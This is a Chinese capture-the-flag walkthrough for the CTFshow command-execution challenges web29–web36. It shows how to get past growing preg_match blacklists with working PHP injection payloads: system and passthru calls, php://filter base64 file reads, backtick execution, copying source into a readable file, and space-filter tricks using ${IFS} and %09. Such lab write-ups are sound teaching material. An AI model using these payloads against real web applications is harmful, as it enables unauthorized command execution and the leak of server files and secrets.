CTFshow 命令执行 web29~web36(正则匹配绕过)

目录

web29

方法一:include伪协议包含文件读取

方法二:写入文件

 方法三:通识符

web30

方法一:filter伪协议文件包含读取

方法二:命令执行函数绕过

 方法三:写入文件

 

web31

方法一:filter伪协议

方法二:空格及cat绕过

web32

方法一:filter伪协议

web33

web34

web35

web36


web29~36的考点主要是一些常见的正则表达式的绕过

web29

if(!preg_match("/flag/i", $c))

分析代码,这是一个preg_match函数的绕过,i表示不区分大小写字母,即无论是大写的还是小写的‘flag’字符都会被过滤掉。

方法一:include伪协议包含文件读取

首先查看有一些什么文件:

?c=echo ''?><?php system('ls');

echo ''?>: 输出一个空字符串并结束 PHP 代码块。注意是两个单引号!!!

<?php system('ls'); 开始一个新的 PHP 代码块并执行 ls 命令,这会列出当前目录的文件。

可以看到当前目录下面有flag.php,我们可以采用include伪协议包含文件读取。

?c=echo ''?><?php include"$_GET[url]";&url=php://filter/read=convert.base64-encode/resource=flag.php

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 通过get方式读入参数url,值得注意的是,echo后面的是两个单引号‘,而include后面的是双引号“。

执行,得到一串base64编码的内容

 解码得到:

 即为flag.php文件的内容,成功拿到flag。

方法二:写入文件

?c=print_r(scandir("."));

 print_r()函数,表示格式化输出括号内的内容

scandir("."):这是一个 PHP 函数,用于扫描指定目录并返回该目录下的文件和子目录的数组。"." 表示当前目录

 构造payload:

?c=system('cat *php>>5.txt);

 *php表示后缀为php,这里表示将后缀为php的文件全部写入5.txt中,然后我们去访问/5.txt,就可以看到flag.php index.php的内容全部写入到了5.txt文件当中了。

 方法三:通识符

?c=system('tac f*');

 *是通识匹配符,会匹配所有f开头的文件名,这里会匹配到flag.php

web30

 if(!preg_match("/flag|system|php/i", $c))

过滤了flag,system,php,不区分大小写字母

方法一:filter伪协议文件包含读取

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

方法二:命令执行函数绕过

能实现命令执行的函数很多,system只是其中一个,但是system有输出的功能,但是其他的函数没有,可以配合使用echo等函数来使用。

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()
反引号` 同shell_exec() 

exec()函数默认只返回命令的最后一行输出,并且不会直接回显结果。它可以通过第二个参数获取所有输出,但如果不捕获输出并直接在页面上显示,就不会有回显。

print_r 是一个 PHP 函数,用于打印数组或对象的可读信息。它可以将数据结构的内容以易于理解的格式输出,适合用于调试。与 var_dump() 不同,print_r() 更加简洁,主要关注值而非类型。

例如:

$array = [1, 2, 3];
print_r($array);
//输出为:
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
)

 shell_exec() 会返回命令的完整输出作为字符串,因此直接将其输出到页面时,会显示所有内容。

可以构造以下payload:

?c=passthru('tac f*');

?c=echo exec('tac f*', $output); print_r($output);

?c=echo shell_exec('tac f*');

?c=$handle = popen('tac f*', 'r'); $output = fread($handle, 2096); pclose($handle); echo $output;

?c=echo `tac f*`;

 方法三:写入文件

由于system函数被过滤了,我们就用反引号来代替,将f开头的文件内容写入5.txt文件当中,访问5.txt文件即可得到flag

?c=echo `tac f*>>5.txt`;

 

web31

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'/i", $c))

  • flag: 匹配字符串 flag
  • system: 匹配字符串 system(防止用户调用 system() 函数)。
  • php: 匹配字符串 php(防止执行 PHP 相关的命令)。
  • cat: 匹配字符串 cat(防止使用 cat 命令查看文件内容)。
  • sort: 匹配字符串 sort(防止使用 sort 命令)。
  • shell: 匹配字符串 shell(防止使用与 shell 相关的命令)。
  • \.: 匹配 .(防止用户使用文件路径,比如 ../)。
  • : 匹配空格(防止使用空格构造复杂命令)。
  • \': 匹配单引号 '(防止输入包含单引号的内容)

 可以看到这道题过滤了更多的字符,

方法一:filter伪协议

?c=include"$_GET[url]"?>&url=php://filter/convert.base64-encode/resource=flag.php

可能会有小伙伴会好奇,为什么明明构造的payload里面明明有php和flag,但是却还是成功绕过了preg_match函数的过滤呢,这是因为我们的正则表达式匹配的是参数c的内容,但是参数$c的内容为include"$_GET[url]";,这里 $_GET['url'] 指向的是 php://filter/read=convert.base64-encode/resource=flag.php。由于正则表达式没有检测 $_GET['url'],所以 "flag""php" 并没有在正则中被捕获,因此绕过了限制。

方法二:空格及cat绕过

过滤了空格符,可以有以下几种方式绕过

%09 符号需要php环境
{cat,flag.txt} 
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

 cat被过滤:

more:一页一页的显示档案内容
less:与 more 类似
head:查看头几行
tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
tail:查看尾几行
nl:显示的时候,顺便输出行号
od:以二进制的方式读取档案内容
vi:一种编辑器,这个也可以查看
vim:一种编辑器,这个也可以查看
sort:可以查看
uniq:可以查看
file -f:报错出具体内容

 可以构造payload

?c=echo%09`tac%09f*`;

?c=echo%09`tail%09f*`;

 这道题感觉很奇怪,很多没有被过滤掉的都没有回显。

web32

 if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,',`,echo,;,(

感觉都要被过滤完了。

方法一:filter伪协议

哈哈哈哈这招屡试不爽,这次依旧能行

?c=include"$_GET[url]"?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 但是他方法目前还没想到

web33

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\"/i", $c)){ 

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,在32题的基础上,增加了对双引号的过滤"

于是,我们可以改用数组来进行参数的绕过

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web34

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,

加了一个冒号,对payload没什么影响,用33题的payload就可以做出来

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web35

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=虽然又过滤了<和=符号,但是并没有过滤掉payload里面的关键符号,因此还是可以继续用这个payload

?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php

web36

if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(|\:|\"|\<|\=|\/|[0-9]/i", $c))

过滤的字符:flag,system,php,cat,sort,shell,.,空格,单引号,反引号`,echo,分号,括号,冒号,双引号,<,=,/,数字0-9,我们把参数改成字母就绕过了

?c=include$_GET[url]?>&url=php://filter/read=convert.base64-encode/resource=flag.php

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/887434.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

openEuler 24.03 (LTS) 部署 K8s(v1.31.1) 高可用集群(Kubespray Ansible 方式)

写在前面 实验需要一个 CNI 为 flannel 的 K8s 集群之前有一个 calico 的版本有些旧了,所以国庆部署了一个v1.31.1 版本 3 * master 5 * work时间关系直接用的工具 kubespray博文内容为部署过程以及一些躺坑分享需要科学上网理解不足小伙伴帮忙指正 &#x1f603;,生活加油 99…

用示波器测动态滞回线

大学物理&#xff08;下&#xff09;实验-中南民族大学通信工程2022级 手动逐个处理数据较为麻烦且还要绘图&#xff0c;故想到用pythonmatplotlib来计算结果并数据可视化。 代码实现 import matplotlib.pyplot as plt# 样品一磁化曲线 X [0, 0.2, 0.4, 0.6, 0.8, 1, 1.5, 2.…

macos安装mongodb

文章目录 说明安装和配置安装mongodb配置PATH变量 验证日志及数据存放目录 mac启动和关闭mongodb后台启动失败问题mongodb-compass(GUI) 说明 Homebrew core 列表目前已经将 MongoDB 移除,不再为其提供支持。但是使用国内镜像的brew还是可以安装的&#xff01;这里直接从官网下…

小阿轩yx-案例:jenkins部署Maven和NodeJS项目

小阿轩yx-案例&#xff1a;jenkins部署Maven和NodeJS项目 前言 在 Java 项目开发中&#xff0c;项目的编译、测试、打包等是比较繁琐的&#xff0c;属于重复劳动的工作&#xff0c;浪费人力和时间成本。以往开发项目时&#xff0c;程序员往往需要花较多的精力在引用 jar 包搭…

MOELoRA —— 多任务医学应用中的参数高效微调方法

人工智能咨询培训老师叶梓 转载标明出处 在医疗场景中&#xff0c;LLMs可以应用于多种不同的任务&#xff0c;如医生推荐、诊断预测、药物推荐、医学实体识别、临床报告生成等。这些任务的输入和输出差异很大&#xff0c;给统一模型的微调带来了挑战。而且LLMs的参数众多&…

CSS3渐变

一、线性渐变 通过background-image: linear-gradient(...)设置线性渐变 语法&#xff1a; linear-gradient(direction,color1,color2, . . ) direction&#xff1a;渐变方向&#xff0c;默认从上到下&#xff0c;可选值&#xff1a; 简单选取&#xff1a; ① to right&…

SpringBoot框架下的教育系统开发全解析

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理微服务在线教育系统的相关信息成为必然。开…

文章资讯职场话题网站源码整站资源自带2000+数据

介绍&#xff1a; 数据有点多&#xff0c;数据资源包比较大&#xff0c;压缩后还有250m左右。值钱的是数据&#xff0c;网站上传后直接可用&#xff0c;爽飞了 环境&#xff1a;NGINX1.18 mysql5.6 php7.2 代码下载

Jetson 开发系列:如何用GPU跑本地大模型?

最近刚入手一台 Jetson Ori Nano 开发板&#xff0c;前两篇把开发前的准备工作做了&#xff1a; 搭建本地环境&#xff1a;Jetson 开发系列&#xff1a;Orin Nano 开箱&#xff01;一款强大的嵌入式&物联网开发板管理音频设备&#xff1a;Jetson 开发系列&#xff1a;Linu…

使用Buildpacks构建Docker镜像

## 使用Buildpacks构建Docker镜像 ![](../assets/运维手册-Buildpacks-Buildpacks.io.png) ### Buildpacks简介 与Dockerfile相比&#xff0c;Buildpacks为构建应用程序提供了更高层次的抽象。具体来说&#xff0c;Buildpacks&#xff1a; * 提供一个平衡的控制&#xff0c;…

大佬,简单解释下“嵌入式软件开发”和“嵌入式硬件开发”的区别

在开始前刚好我有一些资料&#xff0c;是我根据网友给的问题精心整理了一份「嵌入式的资料从专业入门到高级教程」&#xff0c; 点个关注在评论区回复“888”之后私信回复“888”&#xff0c;全部无偿共享给大家&#xff01;&#xff01;&#xff01;首先&#xff0c;嵌入式硬…

【AIGC半月报】AIGC大模型启元:2024.10(上)

【AIGC半月报】AIGC大模型启元&#xff1a;2024.10&#xff08;上&#xff09; (1) YOLO11&#xff08;Ultralytics新作&#xff09; (1) YOLO11&#xff08;Ultralytics新作&#xff09; 2024.10.01 Ultralytics在 YOLO Vision 2024 活动上宣布发布其新的计算机视觉模型 YOLO…

无人机电力巡检:点亮电力巡检新视野!

一、无人机电力巡查的优势 提高巡检效率&#xff1a;无人机可以搭载高清摄像头、红外热像仪等先进设备&#xff0c;实时拍摄和传输图像&#xff0c;帮助巡检人员快速发现潜在问题&#xff0c;如电线破损、绝缘子污损、设备过热等&#xff0c;从而大大缩短了巡检周期。 降低人…

Vue+NestJS项目实操(图书管理后台)

一、项目搭建 前端基于vben进行二次开发 在Github下载vben框架&#xff0c;搜索vben即可 下载地址&#xff1a;https://github.com/vbenjs/vue-vben-admin 下载完成后&#xff0c;进行安装依赖&#xff0c;使用命令&#xff1a; // 下载依赖 pnpm install// 运行项目 pnpm …

开源的云平台有哪些?

开源云平台为用户提供了构建、管理和运行云基础设施及应用的能力&#xff0c;同时允许社区参与开发和改进。以下是一些知名的开源云平台&#xff1a; 1. OpenStack 简介&#xff1a;OpenStack&#xff1a;一个广泛使用的开源云平台&#xff0c;它由多个组件组成&#xff0c;提…

HTML+CSS - 表单交互(一)

1. 前言 ​​​​​​​ Web 表单是用于和用户交互的强大工具——其常用于收集用户数据和控制用户界面。 web 表单是用户和 web 站点或应用程序之间交互的主要内容之一。它们允许用户输入数据&#xff0c;大多数情况下会将数据发送到 web 服务器进行处理和存储 2. form标签 …

Redis篇(Redis原理 - RESP协议)

目录 一、简介 二、Redis通信协议 基于Socket自定义Redis的客户端 三、Redis内存回收 1. 过期key处理 1.1. 惰性删除 1.2. 周期删除 1.3. 知识小结 2. 内存淘汰策略 一、简介 Redis是一个CS架构的软件&#xff0c;通信一般分两步&#xff08;不包括pipeline和PubSub&a…

AI不可尽信

看到某项目有类似这样的一段代码 leaves : make([]int, 10) leaves leaves[:0]没理解这样的连续两行,有何作用? 初始化一个长度和容量都为10的切片,接着把切片长度设置为0 即如下demo: (在线地址) package mainimport "fmt"func main() {leaves : make([]int, 1…

M3u8视频由手机拷贝到电脑之后,通过potplayer播放报错找不到文件地址怎么解决?

该文章前面三节主要介绍M3u8视频是什么&#xff0c;视频播放错误(找不到地址)的解决方法在后面 M3U8是一种多媒体播放列表文件格式&#xff0c;主要用于流媒体播放。 一、文件格式特点 1. 文本文件&#xff1a;M3U8是一个采用 UTF-8 编码的文本文件&#xff0c;这意味着它可…

【STM32开发之寄存器版】(三)-详解NVIC中断

一、前言 STM32F103ZET6具备强大的中断控制能力&#xff0c;其嵌套向量中断控制器(NVIC)和处理器核的接口紧密相连&#xff0c;可以实现低延迟的中断处理和高效地处理晚到的中断。NVIC主要具备以下特性&#xff1a; 68个可屏蔽中断通道(不包含16个Cortex™-M3的中断线)&#xf…